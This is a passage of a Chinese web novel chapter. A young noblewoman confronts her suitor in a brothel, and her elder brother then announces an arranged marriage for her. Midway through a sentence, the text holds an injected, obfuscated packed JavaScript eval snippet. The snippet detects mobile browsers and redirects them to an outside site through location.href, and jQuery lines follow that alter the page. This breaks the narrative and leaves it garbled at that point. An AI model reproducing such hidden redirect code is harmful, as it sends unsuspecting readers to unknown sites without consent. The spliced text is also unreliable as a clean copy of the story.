李常希使眼色让明贞将侍女们带出去,又阖上门,她这才开口问道:“寻我什么事,直说罢。” 息偌于是让小盼也出去,自己坐到了李常希近前,小声问道:“我不是来做长兄的说客的……我是想问问嫂嫂,当初那武安郡主虎视眈眈的,使了那么多坏,嫂嫂怎么还敢嫁给我长兄呢?” 李常希笑道:“姑娘家的小心思,算什么使坏?你到外头可别这么说。” 息偌想起口不择言的郑沁,连忙道:“我没有。” 李常希不过提个醒,知道她不会这样做,这才又问道:“是冯九郎给你什么脸色看了?还是爱慕他的那些小娘子,又给了你什么气受?” 她聪慧如此,一下子点破了息偌来此的原因。 息偌抿了抿唇,低声道:“嫂嫂知道我讨厌郑沁的……她前些日欺负我,骂我,说我没有女孩家的姿态,明明冯家不将我放在眼里,我还要上赶着与他在一起。” 李常希眼神瞬间暗了暗,问道:“这话你长兄都知道吗?” 息偌点头。 李常希于是道:“你长兄自然会去郑家替你出气,犯不上为了这些没遮没拦的胡话难过。” 她看着息偌苦哈哈的神色,又道:“你明知道她是故意,但心里还是有所触动,是因为觉得她说的也不是全然不对,在你与冯小郎君的事上,你的确主动了些。” 息偌抬眼问她道:“嫂嫂觉得,我这样做不对吗?是我的确有错吗?女儿家喜欢一个郎君,不可以主动吗?” 她对冯晚之心一贯坚定,可是这次骂到了她面前,骂到了整个息家,实在不得不让她仔细去思考利害。 郑沁说的一点没错,息家这些年在朝中的确没什么根基,几个长辈接连被边缘化,如今留在朝堂中的都不多。她长兄昔年也是嬉笑怒骂的爽朗少年,为了息家被迫内敛,十六岁上就被息家推进了官场,这些年来一直一力顶在最前。 长兄这些年如履薄冰,生怕行差踏错,便要毁了整个息家。她知道长兄压力太大,自己丢脸倒也罢了,她千怕万怕,是怕自己因为这点心意,竟然连累到自己的家人。 这样的话有些深了。她不可能和父母说这些话,就只能找自己的友人说,可是普通的友人说不得,亲近的那一二个都各有婚约,与她的情况却也不同,自然是没法问的。 想来想去,也就只有这个投缘的长嫂,一来经历相似,二来思深慧厚,或可帮她指点迷津。 毕竟在武安郡主的那般攻势下,还能顶住压力与她长兄成婚的女子,绝不是什么怯懦无脑之人。 李常希拍了拍她手背,没有半点犹豫,就对她道:“若是你一片真心,谁说女子就不能主动?女子的爱又何曾比他们男子差在哪里?” 息偌有些难过道:“若男子却比女子差呢?” 若她心里已有不甘,觉得冯晚待她,却不如她待冯晚。若是如此,她仍然这样坚持,也是对的吗? 李常希在宁都住得久了,岂能不知道他们两个的那些事情。她自然知道这个差是差在何处,也能理解息偌一个姑娘家对于心上人不能全心全意厚爱自己的那点委屈。 她眼神淡了淡,道:“那要问你自己了。曼曼,你觉得他值得吗?” 值不值得呢?息偌乱得很,脑子想不动。她就是一想到这些话,想到冯晚已经许多日没有与她说过话,就又气又难过。 李常希继续道:“人无完人,你想想他所有的不好,他这里不好、那里不好,可是一万个不好加在一起,哪怕你要承受这些不好给自己带来的所有后果,你也依然觉得,拥有他是一件更好的、可以让你忽略这些不好的事。” 她道:“如果你这样想过,还想要他,那他就是重要到不可失去的人,那你就不必去管旁人说的这些话。” 息偌仿佛找到些头绪了。她吸了吸鼻子,好像有些清明,不如方才来的时候那样茫然了。 她坐直身体,也有点闲心了,开始试探性地问道:“所以对嫂嫂来说,长兄也是那个更好更值得的、绝对不可失去的人吗?” 她看到李常希的眼神立刻就冷了下来。 “我们不一样,曼曼。” 息偌被家里养出了些娇纵的脾气,但是还不至于分不清楚这样明显排斥的气氛与态度。本就是兄嫂的事情,她不该插手,现下也不该多问了。 她立刻停下了这个话题,打算说些别的话,再在这里陪李常希待上一阵。 但李常希明显因为她提到了息停而不大高兴了,只与她随口闲言了几句,便提出要让她回去,“免得连晚饭都赶不及回去吃”。 息偌想:都怪长兄,累得她两顿饭都吃不了。 李常希下了逐客令,明贞那边传话就快,息偌这厢才走了出去,那厢息忍已经在马车旁等着了。 息偌气呼呼地上了马车,息忍瞧她不开心,入城后特地绕了路,带她去好味斋买糕饼。 天已经黑了,若不是好味斋生意好,此刻早该关门。马车停在铺子门口,息偌等了好一会儿,才见息忍递了个油纸包进来,特地说了句让小盼接着。 里头就剩了最后一点糕饼了,老板都要关门。息忍嫌都凉了,挑了些品相尚好的,让老板用炉子热了一会儿才拿出来。 小盼接过来烫手,又赶紧放到马车里的小案子上。 此刻已经是过了晚饭的时候了,息偌在别园里没吃什么东西,此时被清甜的香气勾得食欲大动,随便扇了两下,感觉不那么烫手了就拿了一块红豆饼,将帘子打开一道缝唤息忍道:“快伸手!” 息忍看着另一个方向,好像有点愣神,听见息偌叫,才赶紧回头来接。 息偌有些好奇地想要瞥瞥那个方向,问他道:“看什么呢?” 息忍抿了抿唇角,一时有些犹豫要不要答。 息偌立刻板起脸道:“有什么不能说的?你今天可别惹我,我心情不好。” 息忍想:要是说了,指不定你心情更不好呢。 “快说。” 她又催促。 息忍只得有些无奈道:“好像看见阿默了。” 息偌有些莫名问道:“息默?我长兄近日公务忙呢,他要是不和他在官署,怎么不回家?” 息忍道:“兴许就是有公务忙,所以才遣他出来办。” 好味斋的位置偏,再往那边去,息偌就没去过了。她顺口问道:“那边过去是去哪儿的?” 息忍脸色忽而变得有些奇怪,看着她,半晌没回答,最后扯了扯帘子,道:“管那么多做什么?咱们出来这么久了,该回家去了。” 息偌一把拉住帘子,笃定道:“你心里有鬼罢?别是我长兄没事,息默自己有什么事?快说!” 她纠缠不放,息忍被迫说出了一个地名。 息偌差点没气得背过气去,立刻道:“等什么?跟着啊!” 息忍没动,劝她道:“这些事,你一个姑娘家,凑过去做什么?” 息偌道:“息默不是这样的人,真要是我也不管。但他是我长兄的近卫,我长兄的事你管不着,我也管不着,但我眼下是知道了。真有什么不妥,我不与家中说,来日叫旁人捅出来,谁都吃不了兜着走!” 她冷笑道:“你还等什么?再晚些,人都要没影了。” 息忍无法,只得驾车跟上,好在此刻天黑了,他们这马车与世家出行的马车无异,也没什么明显的息家标识,所以不曾叫谁认出来。 这一路跟着息默,待看见人进去的地方,息偌祈祷了一路的心终于还是死了。 息忍问她要不要回去,她干脆扯过了帷帽仔细戴好在头上,然后便打开帘子下了车。她环视一周,看见斜对面正好有个像样的酒楼,便直接走了进去。 小二来招呼她,她看了一圈酒楼的布局,便往二楼走去。息忍在楼梯旁有些犹豫,被息偌一眼看见,指着小盼道:“将他拉住了,免得给他好兄弟通风报信。” 二楼边上一排打开的窗户,息偌挑着地方坐下了,目光往旁边一落,正好就看见息默方才走进去的大门。 她让小盼和息忍都坐。 饭菜点了上来,她嫌丢脸,帷帽都没摘,让小二将桌位边的竹帘子放下来,自己夹了菜,只将头纱打开一道缝送进来,半点没有露脸。 就这么一点一点将饭吃完了,人还没出来。息偌让撤了盘子,换了茶水,又付了银子继续等。 时间越长,息忍越是立不住,提了好几句回家。息偌全都冷声将人按住了,有些讽刺地道:“慌什么?逛花楼的又不是你。” 她坐在马车里,亲眼看着息默接了息停进去,她说什么了吗? 她就这么等着,又等了一炷香的时间,心里那股火气越烧越旺,终于烧得她坐不住了,下了楼走到马车跟前,将马鞭扯过来攥在手里,又气势汹汹地回过头去闯对面的大门。 息忍拦都拦不住。 他一点办法都没有,叫小盼回马车上等着,不要露头,自己追着息偌进去。 天黑了,此刻正是花楼里热闹起来的时候。息偌一身浅杏色的裙子,又带着帷帽,摆明了是个出身不低的年轻小娘子,简直和这个地方格格不入。 息忍觉得自己带着息偌来这种地方,回去以后瞒不住,非得被打个半死才能完。但来都来了,他也就只能提起十二万分的仔细和谨慎近身护着息偌。 此处管事的是个三四十岁的女人,见到息偌这般形象,便知不是来寻欢作乐的客人。她带着伙计走过去,问她来做什么。 息偌被这股脂粉味儿扑得眼睛疼,冷声问道:“息大郎君在哪间?” 这话可不好答,伙计们没人出声。这女人便胡说道:“你是何处来的小娘子,寻什么西大郎君东大郎君的?可认清了门头没有……” 息偌厌她这副轻浮做派,心中又恼火,没工夫和她扯东扯西,干脆一把将人推开了,直接便往楼上去闯。 伙计要上来拦,息忍二话没说直接拔了剑呵斥他们退后,跟着息偌一路往楼上走。 风月之地出了刀兵,任多深的酒醉也要醒来三分。息偌借着身后息忍这柄剑,一路走得很是顺畅。 她胆量大得很,一间一间房门直接推开看,谁敢动手她就动鞭子,总归她戴着帷帽,谁也不知道她是谁。 她阵仗闹得大,不多时,便有个年轻的小伙计过来,给息偌指了个方向,还低声哀求道:“夫人收收鞭子罢。可千万别说是小的跟您说的。” 这种夫人上门来抓相公的事,在这种地界也不是一回两回了,他将息偌也当成了谁家的夫人。毕竟息大郎君的夫人不会来,但那一屋可不止一个有家室的。 息偌迈步过去,啪的推开了那一扇雕花木门。 入目是一片奢靡景象,四处散落坐着一群年轻的公子哥儿,个顶个的富贵优荣,个顶个的风流潇洒,但没一个比得上正在她眼前的那一个。 十五六岁上就以俊美无俦的好名风靡宁都的冯家小九郎,此刻穿一身艳丽又精致的藕色锦袍,发上奇巧的飞燕冠都歪到了一旁去。 但即便是衣衫乱了,发冠歪了,他还是流露出一种旁人都比不上的养眼气度。虽然没有露脸,息偌也能一眼就认清他是谁。 就是这样特别的一个年轻郎君,前些时候还将息偌柔柔抱在怀里,拿夏日骄阳都比不过他半分的明媚笑意对着她,说些好听动人到不行的情话,今日,他就阖着醉意朦胧的一双凤眼,将脸整个迈进了腿上那妓子的肩窝里。 息偌看得浑身冰凉。 她也不知道自己是不是生气,又或者是不是失望,但她这一刻感觉全身的血液都仿佛冲到了头顶,让她已经无法进行任何冷静的思考。 她抬手便掀开了帷帽前的长纱。 息忍看她上手,赶忙把身边探头的伙计往外一推,飞快关起门来,没让一个人看见息偌的脸。 但没了长纱的掩饰,息偌倒是看清了。 那妓子明红的衣衫此刻已经有些松散了,腰带垮在了小腿的位置,露出了一片白花花的肩头,那肌肤上面还拿颜料画了一只生动不已的粉红蝴蝶。 而冯晚的脸颊就是轻轻蹭着,侧首埋进了她的颈间身前。他一只手拢着她柔软得仿佛没骨头一样的腰,另一只手已经藏进了她绣着蝶恋花的衣摆下头。 她推了门进来,他倒好像没察觉似的,犹然不停。 房中第一个反应过来的郎君坐在门边不远,原本是懒懒散散地支腿倚案靠着,此刻看清了息偌的脸,啪的一声将手中的酒杯砸到息偌面前的地上,瓷杯落在厚实的地毯上,还是被他的力气掷了个粉碎。 他脸色不大好看,沉声道:“这是什么地方!还不回去!” 他看向她身后的息忍,斥道:“你是不想要命了,什么地方都敢带她去!” 息偌转过目光,看清了他的样子,这个在这里也不免沾了一身粉香酒香的郎君,是她心里敬重万分、在家中清冷疏离的长兄息停。 他在保护她的名声,将她来到这里的理由,全部归结为是近卫的胡作非为和蓄意欺骗。 息停虽冷漠,但在外人前甚少有这样生气的时候,他这一声怒斥,终于惊醒了这屋里的人。 冯晚终于抬起头来,露出了他那张好看到十分百分千分万分可恨的脸。 他看见了门口的那个姑娘,一双眼原本都是漫不经心的潋滟,此刻却忽而凝滞,醺醺然的醉意也倏然散了三分。 息偌站在彼处没动,冷笑了一声,而息停已然来到了面前,呵斥道:“你一个姑娘家,跑到这种地方来像什么样子?” 又指息忍,骂道:“你想死是不是?” 息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373535|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍理亏,直接跪下,没有言语,也不曾抬头。 息偌护短,但此刻顾不上维护息忍了,她直直盯着自己的长兄,眼里一点惧色都没有,甚至还敢反问他道:“长兄倒是说说,这是什么地方?” 她感觉自己面对息停时那一点蚂蚁大的胆量,已经被死去活来的这一肚子怒气和怨气撑满。 她冷眼望着他,道:“我今日出城去见嫂嫂。嫂嫂酿了新酒,院落布置得整整齐齐、精心漂亮,显见得是要长住,不打算走了。我日日盼着兄嫂能重归于好,有心想要说和,此刻不见不知,长兄倒是让我长脸。” 息停在人前被妹妹下了面子,又听见李常希的事,脸色一时寒如霜雪,正要开口,息偌已经理好帷帽扭头便走,骄傲的下巴扬得高高的,谁都不放在眼里。 冯晚这才站起来,将怀里的美人毫不留情地推开,一边走一边理好了自己的衣襟。待站定在息停的身边,这才对他低声道:“我去同曼曼说。” 息停脸上没什么表情,只回头看向了他。 他对宁都城里的这些公子哥儿没什么不了解的,冯晚二十出头了,家里一个姬妾也没有,但外头这样的场合不是头一回了。最过的一次,他抱着个美人大醉睡了一晚上,第二日还要找友人们替他作保,才好免了家里那位严肃父亲的家法。 息停是冯晚的友人,冯晚不曾有什么事情要避着他,和息偌在一起的事是这样,在外头胡作非为的事也是一样。 息停什么都知道。 他此刻平静万分,想,容她快意这一场,此刻也该差不多了。 他问冯晚道:“你与她认识这样久了,不了解她吗?” 冯晚不解道:“怎么?” 息停余光里还能见到那个可怜兮兮的妓子坐在地上,他浅浅勾了勾唇角,道:“你现在去跪到我家门口,她也必然头也不回一个。” 冯晚酒气上涌,头脑昏沉,露出了一个不甚在意的笑容。 他想:怎么可能呢?息偌一定是这世上最喜欢他的小娘子了。 他想:今日是晚了,他醉了。等明日罢,明日他醒了,再去寻她。他只要说些好话,她会原谅他的。 -- 息偌恨不得把冯晚那只手剁下来! 她一句话都没和冯晚说,甚至一个正眼都没给他。说白了,他不是她的家人,他们没有关系,宁都城里已经看尽了她爱慕冯晚的笑话,如果她自诩妻室的姿态因他狎.妓而公然闹事,那么传遍整个宁都的丑闻不会是冯晚,只会是她自己。 她只能借着这股劲对自己兄长发个脾气,趁着自己的胆量还在,速速离开这个是非之地。 她满脑子只剩下两个念头。 第一,冯晚得罪了她,他死定了。 第二,她得罪了息停,她死定了。 息偌走得快,背影风风火火。息忍跟在她后面,简直心惊胆战。她走到门口,烦声问道:“车呢?” 马车就在不远处,息偌没等摆凳子,扶着车沿就要上去。息忍担忧万分地看着她,赶紧伸手去扶她上去,这才感觉到她手下一点力气都没有。 “我没事。” 她用很无力的声音对他轻声道:“我们先走……我们快走。” 息忍心里一堵,迅速驾车带她返回息家。 这一天真是好累人的一天。 息忍本来以为,等大郎君回来了,必定会把他和息偌一起叫去教训,他若是没死就是命大,而即便命大也得脱一层皮,以后也不可能在息偌身边了,甚至不可能在息家了。 但他等了一晚上都没等到传话。 他知道息偌今天身体疲惫、心情也不好,所以决定留下来守夜。他一开始躺在屋顶上,后来没多久下起了雨。深秋里的雨已经有了冰冷刺骨的意味,他想自己之后还要挨打,此刻不能淋雨感冒,于是又坐到了廊下窗边。 因为坐在窗边,很多声音就变得非常清晰。 他听见息偌在房间里哭了一整晚,哭声是捂在被子里的沉闷轻响,但在大雨瓢泼里显得微弱而惊心。 息停到底大了息偌不少。 他与冯晚年岁相当,自小来往密切,息偌口中说着“青梅竹马”,不自觉染了些爱侣之间的暧昧腔调,只是说得再严谨些,息偌几乎是冯晚看着长大的。 小的时候,息偌跟在长兄身后见过人,冯晚本就性情好,又见这小女孩可爱,便处处宠护着息偌,待养成习惯了,年岁大些就更甚。 女大十八变,息偌长大后,也出落成了个亭亭玉立的大美人。冯晚游戏人间数年,万花丛中过,早已迷昏眼,这么一回头,突然发现身边那小姑娘才是世间真绝色,兄长便成了情郎。 本朝民风开放,世家里的年轻男女婚前有一段情事,并不是什么令人不齿的事情。莫说他们身上都没有婚约,便是那些有婚约的,婚前与旁人有些风月,也不是没有这样的例子。 当初息偌与冯晚两个人在一起的时候并不算高调,大约冯晚也知道自己长了息偌一些,这事做得不算特别磊落,所以不曾张扬。 但是几个玩儿得近的朋友都是知道的,那会儿多的是调侃这两个人的笑话,便是息停知道了、亲眼见到了,也没有明确流露出什么反对不满的意思。 有些不看好的话,也都是他们闹矛盾时,他私下里对着息偌说的。 息偌这近一年的时间里,除了吵架冷战的档口,几乎一直与冯晚在一起。息忍是亲眼看着息偌愈发依赖冯予迟。他猜想这两人八成是要成了,门当户对,郎情妾意,何乐而不为? 大郎君不同意,但他不也没反对吗?眼下冯息两家是没什么想要缔结婚约的动静,但若是息停都点了头,那么息家是不会做过多反对的。 到底如今大郎君已经长成了,不是从前那个被息家操纵逆流而上的傀儡了。眼下他手中有实权,息家都得倚靠着他。 他亲妹妹的婚事,他说了不算,旁系族亲谁敢说了算? 但此刻出了这种事,息忍开始有些庆幸了。 幸好息停做事沉稳,从来立定即行,从不拖沓。幸好冯晚好坏不定,不曾勾得她死心塌地。幸好息偌恪守原则,从不曾与他越雷池半步。 幸好,幸好。 -- “你亲眼看见了息四娘进去了?” 霍恂坐在房间里,一边喝药一边听着雁行回话,待听雁行讲到了这一段,饶有兴趣地抬起了头。 雁行有故意试探的意思,见自家主子这个反应,就知道自己说准了。 他应声道:“是,我当时才同息大郎君说完话不久,下楼时撞上了她。她戴着帷帽,看不清脸,不过我记得她身边那个侍卫息忍。她推了门进去后,息忍接着就关了门。” 霍恂此时刚沐浴完,身上热气未散。盖因他房间里早早生起了暖炉,此刻暖意融融,并不寒冷,他也就只穿着单衣,将外衣披在肩上。 他如此穿,清晰地露出了颀长却有些清瘦的身形,好在气色不错,又多年养尊处优,气度仍旧是华贵的。 他手里拿着丝帕擦拭玉佩,颇有兴致地问道:“你进去的时候,看见什么了?” 雁行当然知道霍恂对旁人是没有什么兴趣的,细想了想,才道:“里头都是年轻人,无非是世家子,并几个在京中的公爷侯爷,点了姑娘陪在旁边。息大郎君坐在一边,没喝酒,身边也没点人。倒是他旁边,有一位冯九郎。” 霍恂手里顿了顿,将手中司南佩放在了旁边。 息停明知道今夜和他的人见面,却还是让雁行见到这一幕,可见是另有其意。 息大郎君名停字为止,君子有所为有所止,为他取字的那人显然是有所指。可据霍恂的听闻,再加上这一回来往,倒并不觉得他有束身守己之意。 霍恂勾唇笑道:“我之前就听说,息四娘是与一位冯郎君在一起的,息为止分明知道,还来与我交涉,今日见你,也没避讳。可见他是没打算与息家相商。” 雁行显然没想到这一层,道:“只是从未听说过息大郎君拒绝过息四娘与冯家来往。” 霍恂漫不经心道:“不也没同意过么?” 所以才同他传信。 雁行想起今晚和息停相见时,息停余光里瞥着那位冯郎君,表情似笑非笑的,倒真是有些意味不明的样子。 陛下密信里是怎么跟自家主子形容他来着?心思深沉,不择手段。 霍恂似想起什么,又问道:“她出来的时候什么样子?” 雁行对于这位息四娘印象很是深刻,记得清楚,答道:“没多久就出来了,应当是挺生气的,走得极快。” 霍恂微讶道:“生气?” 雁行纳闷:不生气,还怎的? 霍恂又问道:“没哭?” 雁行仔细想了想,道:“听叫车的声音中气十足的,不像是哭了。” 霍恂身子热,伸手推了窗,有寒冷的风吹到他身上,带着冰凉的雨丝拂在他脸颊。 息停同他相约相见,可等到雁行走了,息偌才闯了进去,而息偌一个姑娘家,显然不会无故跑到那里去。 霍恂不久前才守完孝,入京之前,陛下密谕让他解决息停。 息停不能死,但也不能像如今这样一手遮天肆无忌惮。霍恂来路上一直想,如息停这样找不出任何弱点的人,究竟要怎样做,才能达到陛下的要求。 在清都的时候,他就听说过息大郎君的传闻,十几岁做了官,如今是大邺最年轻的中书令。朝官私下称他笑面虎,言他虽看着温雅宽和,面上带笑,手段却教人不寒而栗,若无必要,实在无人敢与这位扯上干系。 他原本想,自己虽与他有旧,可今时不同往日,既然人人都要避他,那自己也不必招惹。可今日在城门那一撞,他的确是生出了些心思。 他有些期待起来了。 3. 见面 息偌哭了一晚上,快天亮的时候才迷迷糊糊睡着了。息忍本和小盼商量着,不叫她起床了,可息偌自己睡不多时又醒了,叫小盼拿冰帕子给她敷眼睛。 息偌自己都佩服自己,昨日那样难过,还不忘用冷帕子盖着眼睛哭,忍着没去用手揉。她叫小盼给她备着冰水,这样早上再敷一敷,填上妆,便看得不大明显了。 息偌哭完了,就像没事人一样,去父母那里吃早饭。也就是到了这时候,她才知道息停竟然一整晚都没有回息家,清早回来便直接上朝去了。 父亲息檀听说此事,将瓷勺扔回了碗里,即便盛着浓稠的米粥,还是听得见一声脆响。 他心头火蹭蹭地向上冒,道:“宫里能有多繁忙的公务?不回家便罢了,连个信儿也不传,还有没有规矩?他还想干什么!” 息默笔直地跪在下头,一声不吭地替主子挨骂。 其实息檀哪里是为了儿子不回家或是不传信而生气?不过是有旧怨,于是看见什么都不满意,逮着什么由头出来都能骂两句。 息夫人没想着替儿子辩解什么,但这么一大早闹得连饭都吃不成也不行。她想着赶紧打发了息默,眼不见为净,随口问道:“他是急务吗?那便算了。” 息檀冷嗤道:“他一个文官!有什么急务要大半夜地跑出去,连个传信儿的时间都没有?” 息默总算是得了个能说话的机会,连忙道:“郎君没有急务,是去郊外了,夜太深,恐不好赶路,所以今早才快马回城的。” 这话一说,堂内原本紧张的氛围好像突然就被冲淡了。 “哦,郊外。” 息檀这话顿在这里,人也不如方才那般生气了。做父亲的,不好过问小辈夫妻间的事,但息停能在外头留一晚上,那也算是个好事。 他想了想,还是关心了一句,问道:“怎么想着要过去了?” 息默垂着头说“不知”,眼见着息檀又露出些不满的神色,息偌颤颤巍巍接了一句,道:“兴许是与我有关。” 息檀没好气道:“与你有什么关系?” 息偌道:“我昨天去看嫂嫂了,和长兄提了一嘴……” 息夫人抬手掩唇笑了笑,拉着息檀用饭。息檀重新拿起碗筷,对息默摆手道:“你跟在他身边,闲了多提醒两句,这话也要用他妹妹去提醒?管着那么多部下,该分担的就分担,腾出点时候将家里的事理清楚。” 息默听完训话后称是,行礼退了下去。 眼见着无人了,息夫人才问道:“你昨日去看常希,她过得如何?” 息偌实话实说道:“嫂嫂仔仔细细把她那院子布置了,处处精致舒心。我去的时候,她进山采摘花果,预备和侍女酿酒蒸糕,心情也不错。” 她越说越忧虑,想到提到息停时的那点尴尬,问道:“阿娘,嫂嫂过得这样舒心,是不是不打算回来了?” 息夫人没说话,息檀嗤了一声,却不是对着李常希的,而是对着息停的。 他分明是对此事有所不满,此刻语气也不好,微忿道:“她过得越好,便越知息停那个逆子待她不好。我与李相多少年的同僚,便到了地下,都没脸向他交代。” 息家一直满意李常希,息檀夫妇待李常希比亲女儿息偌也差不了多少,奈何息停一意孤行,和李常希闹成了这个样子,让息檀很是不满。 息夫人嘱托息偌,让她常去探望,息偌都应了。 饭后,息偌回了自己屋中,开始收拾东西。 她和冯晚认识的时间太久了,彼此之间的有些东西,早就分不清你我。但她一点也不着急,一样一样地仔细收拾。 平日里放在那里倒不觉得,此刻拿在手中了,当时接过这物件的场面情形,就一幕一幕又从脑海之中闪过。 从前那样温柔细心的冯晚,和昨晚酒醉荒唐的冯晚轮番从她脑海中划过。那妓子的红裙边仿佛带血的利刃一般,将冯晚从前同她在一起的清朗模样割成一块又一块的碎片。 但她似乎也没有什么生气和愤怒的情绪了。 昨晚百味杂陈的时候说不上是什么感觉,都随着眼泪流了个干净,今早将枕头被褥都扯去洗了,清水涤净,阳光暴晒,还能留下什么痕迹? 她这里也不会再留下什么痕迹了。 东西一时也清不干净,小盼唤她用午膳的时候,她才意识到时间飞逝而过。 息偌起身看了看未尽而乱糟糟的房间,洗了洗手,对小盼道:“再去找两个箱子来。等我先吃了饭,完后写封信,你嘱咐息忍,明日一并都给冯予迟送回去。” 相识了也有十数年时光,收拢起来,至多今天就能用尽。 她在窗边小案前坐下了,偏头时看见外面息停走了进来。他还穿着暗红色的官服,看来是去过朝上官署了,只是到了此时才回来。 息停看见还没合上的箱子,没什么表情,但心里却还算满意,看来自己的妹妹不是个围着男人转的无脑之人。 他摆摆手,示意息偌不必起身,而后坐到了她对面,道:“你吃你的,我和你说几句话。” 来了。 息偌下意识开始害怕,这个长兄在息家的形象实在是太有威严,昨天自己去花楼闹了那么一出,她早想到息停不会放过她的。 她眼睛不敢抬,看着面前的饭都不香了。 息停正打算说话,忽而掩唇咳嗽起来。息偌吓了一跳,这才注意到他身上披着的那一件夹棉的冬氅,似乎在这时节穿是厚了一些。 她赶忙把手帕递过去,又叫小盼端了杯热茶来。 息停咳完了,才接了她的帕子,对她有些担忧的神色回应道:“昨夜淋了雨,不是大事。” 息偌忆起自己昨天生气上火时给息停说的那些话,联系到他夜不归家的事,再加之此刻看他苍白的脸和漫不经心的模样,忽而有些心虚和愧疚,便低头道:“昨日是我错了。” 息停笑一笑,让她坐下,这才将手帕叠好放在一旁,说道:“清都侯霍恂前些时候承袭了爵位,昨日回京了。我今日下朝后与他略说了几句话,打算过几天,带你去见一见。” 息偌下意识接话道:“我不认识他。” 息停手中捧着热茶,垂着眼,平静道:“见了自然就认识了。” 息偌后知后觉地反应出了息停的意思。 她忽而感到周身一股寒意。世家的婚姻是权利的纽带,她从前偶尔想到,也会让自己做好心理准备,但是她从没想过会来得这么快,又是以这样的方式来到自己面前。 息偌十根手指都绞到了一起,问道:“不止是要认识罢?” 她听懂了,就最好。息停对家人终归会比对外人多些耐心,但这并不妨碍他喜欢和聪明人说话。 “清都侯虽是个闲散皇亲,却与陛下血缘靠得近,王侯里算是一等的身份。他家里没人,过去了不必死守规矩敬奉长辈。他又年轻,有实学,温和有礼,是个不错的人选。我与他从前有些旧交,知道他的为人,不会让你受委屈。更何况,他将来大约是要留在宁都,你离家近,来往也方便。” 几年里挑来挑去,才选中了霍恂,无论有没有冯晚,这都是息停已经决定好的事情。他难得耐心地对息偌说了这么多,解释这会是一段合适的婚事。 息偌这两天一直在生气。 先气郑沁背后辱人,后气冯晚寻花问柳,到了今日,好不容易下去了的火,又被息停这无所谓的模样勾起来。 她冷笑着质问他道:“长兄拿婚姻当什么了?说来说去,无非还是为了权利。诚然世家女儿皆是如此,我也不是没有准备。可凭什么长兄可以选自己合意的妻子,却不能让我在家世相当的郎君里挑一个自己合意的?” 这又算是什么道理? 他明知道自己昨天见到那一幕,今日合该是最难过的时候,却半分不宽慰,径自与她谈起了与另一个人的婚事,让她如何能够接受? 息偌直直地望着息停,可息停一点愧疚神色都没有,只是含着一抹极轻极浅的笑意。那笑意浮在他唇边,看着息偌心里发慌发惧,让她有一种息停在讥诮嘲讽她的错觉。 好生完美的笑意,好生无情的模样。 息停心里想:瞧瞧他这好妹妹,多好的性情。自己若有三分不好,别人连三分好都不行。惟有世人皆不如她好,她才能安稳。 好一个世家女,好一个息家人。 不愧是……他的妹妹。 以息停的性情,唇枪舌剑里经历多年,早不爱理会这样无关痛痒的指控。 可是息偌说到了李常希。 李常希是他的心头刺。 “你没说错,我确是娶了一位处处合意的妻子。” 温和清雅的息大郎,嗓音因为风寒的缘故变得低哑,深沉里隐约咂摸出一种尖刀锋刃上的寒意来。 息偌听得处处合意这四个字微微地加重,隐隐生出些瑟然的畏惧。她忽而觉得,自己与他做了十几年的兄妹,原来是从不认识他的。 “四娘。” 息偌想到了,无论是自己的父母,还是冯晚,一直都唤她乳名曼曼,只有这位一母同胞的嫡亲兄长,一直以来都在唤她四娘。 息停继续同她道:“这世上不会有哪对真正的恩爱夫妻,闹得如我这般家宅不宁。外面的好话听听就罢了,你是息家的女儿,连这样虚无缥缈的东西也信?” 他像个脾气最最温和的兄长,耐心地同妹妹说着世间的道理,可字字皆如刀锋见血。 息偌感觉到自己似乎有些发抖,于是攥紧了手指去忍耐,勉强挣扎道:“这些事,父母都知道吗?” 息停垂首抿茶,道:“知道。” 所以,不管是息家定下的,还是息停定下的,这事早就没有容她拒绝的余地了。 今日息停来,是息家有心叫他来妹妹这里做恶人。息停明明知道,但她问了,他也就说,半分不多担罪责。 息偌终于明白,她曾用尽许多心思力气的坚持,放在息家人的眼里都不过是好戏一场,看客们笑一笑这小儿女的热闹,待时间到了,该散场了,每个人都还要回到各自的位置上去。 她在午日正温暖时沉默了许久,最后还是摇头道:“我接受不了……长兄,我无法接受。” 息停像是猜到了她这回答一样,居然很轻松地笑了一笑。 他是息家的长子,又不只是父母的儿子,没时间等待和接受父母的爱意。所以息偌的身上承担着父母成倍的爱意,被宠着护着长大,自由自在的,比其他世家女子都要更强许多。 她不能接受,这是很正常的。 只是从前,她一贯对他敬畏,越是长大,越是连话也不敢与他多说几句。他若有什么话说,由来是让她往东她便不敢往西。 今日来前,息停还曾想过,若是他如此说了,息偌坐在对面答应了怎么办。这样软的脾气,若真去了霍恂身边,不知要被拿捏到什么地步。 可她却拒绝了。 虽不是十分明确的拒绝之词,只是一句不能接受,但还是让息停十分满意,让他觉得,自己这个妹妹终究没有被养得太不堪用。 他自觉很宽容地问她道:“你需要多久可以接受?” 息偌疑心自己听错了,不可置信地反问道:“什么?” 息停道:“我给你时间考虑,但你总不能让我一直等罢?我没有太多时间可以留给你。” 亏他今日过来,还做了一番宽厚的长兄模样,没有对她耳提面命,还说了一句“你吃你的”,合着是根本无所谓她的所思所想,不管她心里是个什么念头,他都已经想定了。 这桩婚事根本由不得她。 息偌看着他这般无谓的姿态,问道:“这件事是什么时候定下来的?在冯晚之前或是之后?” 息停似乎根本都没想到自己的话会不会伤害到自己的妹妹。他一点儿都没犹豫道:“之前。” 不是昨日发现冯晚狎.妓之前,也不是知道冯晚与息偌情好之前,是更早以前。他做官都这么些年了,姻亲这样有力的官场手段,他不会没有想过的。 他自己决定了她的婚事,不告诉她便罢了,甚至不去阻止她与别的男子来往。 息偌到底还是个小姑娘,两日之内遇到了这么多的烦心事情,到底还是有些承受不来。她孤身一人坐在他的对面,瑟瑟地红了眼眶。 她那一瞬间有太多的委屈,可在息停面前,她已经习惯性地不敢表露太多。 息偌可怜兮兮的模样连小盼都看不下去了,不忍地站到她身边去,牵着她的手拍拍她肩膀。息偌心下委屈更甚,情不自禁地啜泣了一声,又硬生生地憋住。 